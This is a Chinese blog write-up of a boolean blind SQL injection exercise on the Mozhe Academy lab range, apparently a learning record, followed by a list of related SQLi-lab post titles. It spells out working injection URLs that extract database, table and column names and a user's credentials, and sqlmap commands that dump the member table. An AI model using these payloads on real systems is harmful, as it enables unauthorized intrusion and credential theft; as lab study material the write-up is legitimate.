墨者学院的在线靶场中sql注入漏洞测试(布尔盲注),因为不管是时间盲注还是布尔盲注手工的话都需要大量的经历和时间来完成,正好自己最近在学习sql注入的盲注,就决定用手工做一次盲注的测试,以便于对sql注入更深刻的理解

温馨提示:此文章基于专门实验的平台下测试,任何人不得随意测试或者注入,互联网不是法外之地,任何除学习之外的事情与作者无关。

首先我们打开墨者学院在线靶场中的sql注入漏洞测试(布尔盲注)

然后找到滚动的字段打开链接寻找注入点

通过测试 and 1=1 and 1=2 之后发现存在注入点

然后开始布尔盲注:手工的话过程繁琐,需要思维清晰,耐心检查。

一.手工注入

1.获取数据库的长度

http://219.153.49.228:46311/new_list.php?id=1 and length (database())=10--+    //判断数据库长度为10
可以通过< >等符号来确定数据库长度的范围 看页面是否返回正常

得到数据库的长度为10


2.判断数据库的名字,从第一个字符开始判断,长度为10,所以要测试10次,方法一致

http://219.153.49.228:46311/new_list.php?id=1 and  ORD(mid(database(),1,1))=115  --+

用到两个函数 Ord()转换为ASCII码  ,截取字符串:mid(str,1,1)

这边我们测试到第一个字符ASCII码为115,经查询是  's'

同理第二个字符:http://219.153.49.228:46311/new_list.php?id=1 and  ORD(mid(database(),2,1))=116 --+

// 第二位为ASCII 116 't'

经过多次测试 得到数据库名字为stormgroup

3.获取表的总数

http://219.153.49.228:46311/new_list.php?id=1 and  (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() )= 2 --+

//可知表的总数 为2

4. 获取第一个表的长度

http://219.153.49.228:46311/new_list.php?id=1 and  (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1)= 6--+

这边其实我大体用sqlmap跑了一下得知想要的数据就在第一个表下

为了我们顺利手工注入而且能够省点部分步骤

5.获取表的内容:

http://219.153.49.228:46311/new_list.php?id=1 and  ord( mid( (   select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1  ),1,1  )  )=109  -- +

//得知第一个表的第一个字符为ASCII 109的 查询后为 m

经过多次测试得到表为member

6.获取表字段的长度:

http://219.153.49.228:46311/new_list.php?id=1 and  (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x6d656d626572 ) = 3 -- +

//表下有三个字段  表名要用16进制

7.获取第一个字段的长度:

http://219.153.49.228:46311/new_list.php?id=1 and  (select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x6d656d626572 limit 0,1 ) = 4 -- +

8.获取第一个字段的内容:http://219.153.49.228:46311/new_list.php?id=1 and  (    select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x6d656d626572 limit 0,1    )='name' --+

//这边猜想长度为4的字段为name 没想到猜对了

9.获取第二个字段的内容

http://219.153.49.228:46311/new_list.php?id=1 and  (    select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x6d656d626572 limit 1,1    )='password' --+

得到是password

10.获取内容的长度:http://219.153.49.228:46311/new_list.php?id=1 and (Select Length(concat(name,password)) from member limit 0,1)=37 -- +

//内容长度为37 可以简单猜测密码 通过某种加密方法为32

11.获取name下的内容:

http://219.153.49.228:46311/new_list.php?  id=1 and ord (mid(( Select concat(name) from member limit 0,1 ) ,1,1))=109

第一位ascii 位109 查询得到 m

相同办法可以得到name下的内容为:mozhe

12.获取password 下的内容:

密码通过md5加密手工拿实在太麻烦 手工更多得是帮助我们去深入理解到sql注入  这边的密码我使用sqlmap工具跑出来

百度md5解密第二个之后顺利登陆,终于完成了,本身用工具去跑的话几分钟就可以完成的一件事,手工却要两个小时,但是我们在初学的时候,对sql注入还不是那么熟悉,手工可以让我们对sql语句包括一些整体思维有一个深刻的理解。


下面用kali下的sqlmap工具简单的完成这一个实验,顺便证明一下我们手工盲注时爆出的表和字段是不是正确的。

1.sqlmap -u url --dbs

得到数据stormgroup 和我们手工盲注的一样

2.sqlmap -u http://219.153.49.228:49845/new_list.php?id=1 -D stormgroup --tables

得到两个表名 member 和notice

我们需要的数据在member下

3.sqlmap -u http://219.153.49.228:49845/new_list.php?id=1 -D stormgroup -T member --columns

得到表下有name和password还有status三个字段 我们就需要的账号和密码在name和password下

4.sqlmap -u http://219.153.49.228:49845/new_list.php?id=1 -D stormgroup -T member -C name,password --dump

最后爆出内容与之前手工完全一致

工具自然有工具的方便性和效率,可是 我们在学习过程中不能一直依赖工具,手工实验有时候才会更加深我们自己对sql注入的理解。

温馨提示:此文章仅限于学习记录与讨论,不得随意测试或者注入,互联网不是法外之地,任何除学习之外的事情与作者无关。

墨者学院布尔盲注(超详细手工和工具)相关推荐

  1. 以dvwa为例学习简单sql布尔盲注的详细脚本

    0x01 前置知识 1.SQL注入与SQL盲注 SQL注入: 执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提示SQL语法不正确等 一般在页面上直接就会显示执行sql语句的结果 S ...

  2. SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注

    第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...

  3. SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注

    第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...

  4. SQLi LABS Less-26 联合注入+报错注入+布尔盲注+时间盲注

    第26关是单引号字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 目录 一.功能分析 二 ...

  5. SQLi LABS Less 25a 联合注入+布尔盲注+时间盲注

    第25a关是数值型注入: 后台过滤了关键字(and.or),可以双写绕过: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. SQLi-LABS 其余关卡,可以参考我的专栏:SQLi-LABS ...

  6. SQLi LABS Less 25 联合注入+报错注入+布尔盲注

    第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...

  7. sql注入学习——布尔盲注

    前言:之前通过前九关学习到了回显注入.报错注入等一些方法,这次就来详细的学习布尔盲注. 首先来了解一下盲注的概念 盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL ...

  8. 布尔盲注怎么用,一看你就明白了。布尔盲注原理+步骤+实战教程

    「作者主页」:士别三日wyx 「作者简介」:CSDN top100.阿里云博客专家.华为云享专家.网络安全领域优质创作者 「专栏简介」:此文章已录入专栏<网络安全快速入门> 布尔盲注 一. ...

  9. SQLi LABS Less 26a 联合注入+布尔盲注

    第26a关是单引号+括号的字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.布尔盲注.两种解题方式. SQLi LABS其他关卡可以 ...

最新文章

  1. Spring注解使用方法
  2. 如何在 Linux 中启用 Shell 脚本的调试模式
  3. 添加WSS3.0中文模板 - [SharePoint Server]
  4. 工程制图 (机件常用的基本表示法)
  5. python图形小游戏代码_手把手制作Python小游戏:俄罗斯方块(一)
  6. OWASP依赖性检查Maven插件–必须具备
  7. det曲线_平面曲线的曲率的复数表示
  8. ZigBee与智慧家居-ZigBee方案
  9. 从朴素贝叶斯到贝叶斯网
  10. 22. C# -- 抽象类和接口
  11. 【Linux】grep命令
  12. [翻译]XNA在线俱乐部网站即将开站!
  13. 8.剑指Offer --- 英文版新增面试题
  14. C语言大小端转换问题
  15. 小米网卡驱动linux,Linux 下小米WIFI 的无线网卡驱动
  16. nvidia driver 驱动重装教程
  17. oracle怎么查看long类型的值,oracle中对LONG列进行查询
  18. 关于安装VISIOnbsp;2007报错office.zh-…
  19. Poco库完全使用手册
  20. 发现在创建云服务器ecs实例的磁盘快照时_阿里云服务器怎么重装系统 阿里云VPS如何重装系统...

热门文章

  1. 小药罐将陈岷引入收藏之路
  2. net start mysql无法启动MySQL
  3. 因为script标签的书写,而出现的乌龙头问题
  4. MySQL 覆盖索引(Cover Index)
  5. for循环程序设计实验四
  6. java计算机毕业设计某服装店网站源代码+数据库+系统+lw文档
  7. 心理压力测试脸型软件,心理测试:对比一下你是哪一种脸型,测试你这辈子有没有富贵命...
  8. thymeleaf自定义全局变量
  9. WIN10系统电脑休眠后唤醒自动退出夜间发光模式故障解决
  10. 11.设计模式--装饰者模式(Decorator模式)